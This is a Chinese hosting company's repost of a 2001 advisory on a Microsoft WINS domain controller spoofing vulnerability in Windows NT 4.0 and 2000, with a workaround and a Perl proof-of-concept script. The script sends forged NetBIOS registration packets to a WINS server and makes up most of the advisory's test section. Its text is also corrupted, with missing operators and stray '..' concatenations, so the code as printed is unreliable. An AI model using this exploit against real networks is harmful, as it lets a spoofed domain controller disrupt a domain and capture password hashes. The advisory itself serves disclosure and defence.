手机站
网通分站
电信主站
密 码:
用户名:
当前位置 : 主页>服务器技术>安全防护>列表

Microsoft WINS 域控制器欺骗漏洞

来源:互联网 作者:西部数码 时间:2008-04-09
西部数码-全国虚拟主机10强!40余项虚拟主机管理功能,全国领先!双线多线虚拟主机南北访问畅通无阻!免费赠送企业邮局,.CN域名,自助建站480元起,免费试用7天,满意再付款! P4主机租用799元/月.月付免压金!
Microsoft WINS 域控制器欺骗漏洞

发布日期:2001-01-23
更新日期:2001-01-23

受影响系统:

Microsoft Windows NT 4.0
Microsoft Windows NT 2000 Server
描述:


BUGTRAQ ID :2221

Windows Internet名字服务(WINS)随着微软Windows NT服务器分发。WINS负责在一个
客户-服务器的环境中将网络计算机名解析为IP地址。

然而,WINS没有正确验证域控制器的注册。用户可能修改一个域控制器的内容,导致
WINS服务将发往域控制器的请求重定向到另一个系统。这可能导致该域的网络功能
失效。冒牌的域控制器也可以被设置来窃取用户名和口令的哈希值。

<*来源:David Byrne (dbyrne@tiaa-cref.org) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


David Byrne (dbyrne@tiaa-cref.org)提供了一个测试程序wins2.pl:
###########################################################################
use Socket;

$WINSAddress = "XXX.XXX.XXX.XXX"; #IP Address or Host/NetBIOS name
$DomainName = "AAADUMMY"; #Must be all caps
$SequenceNumber = 0x8000;
socket(SOCKET, PF_INET, SOCK_DGRAM, getprotobyname("udp")) or die "Socket not created $!\n";
$destAddress = inet_aton($WINSAddress);
$destPort = sockaddr_in(137, $destAddress);

for ($i=1;$i<=25; $i )
{SendRefresh ($DomainName, 0x1C, "\x0a\x6a\x00" . chr ($i))}

sub Sequence
{
my ($high, $low, $str);
$high = $SequenceNumber >> 8;
$low = $SequenceNumber % 256;
$SequenceNumber = 2;
$str = chr($high) . chr ($low);
return $str;
}

sub SendRelease
{
my ($tempname, $data);
$tempname = NetBIOSName ($_[0], $_[1]);
$data = Sequence () . "\x30\x00\x00\x01\x00\x00\x00\x00\x00\x01\x20" .. $tempname . "\x00\x00\x20\x00\x01\xc0\x0c\x00\x20\x00\x01\x00\x00\x00\x00\x00\x06\x20\x00" . $_[2];
send (SOCKET, $data, 0, $destPort) == length($data) or die "Failed to send packet: $!\n";
}

sub SendRefresh
{
my ($tempname, $data);
$tempname = NetBIOSName ($_[0], $_[1]);
$data = Sequence () . "\x29\x00\x00\x01\x00\x00\x00\x00\x00\x01\x20" .. $tempname . "\x00\x00\x20\x00\x01\xc0\x0c\x00\x20\x00\x01\x00\x04\x93\xe0\x00\x06\xe0\x00" . $_[2];
send (SOCKET, $data, 0, $destPort) == length($data) or die "Failed to send packet: $!\n";
}

sub NetBIOSName
{
my ($c, $ord, $high, $low, $tempname);
while ($_[0] =~ /(.)/g)
{
$c ;
$ord = ord ($1);
$high = $ord >> 4;
$low = $ord % 16;
$tempname .= chr($high 65) . chr($low 65);
}
for (;$c<15;$c )
{$tempname .= "\x43\x41"}
$high = $_[1] >> 4;
$low = $_[1] % 16;
$tempname .= chr($high 65) . chr($low 65);
return $tempname;
}

建议:

临时解决方法:

NSFOCUS建议您采用David Byrne提供的临时解决方法:对于敏感信息,采用静态记录。
并在防火墙的DMZ区封锁NetBIOS服务。

厂商补丁:

暂无。


文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!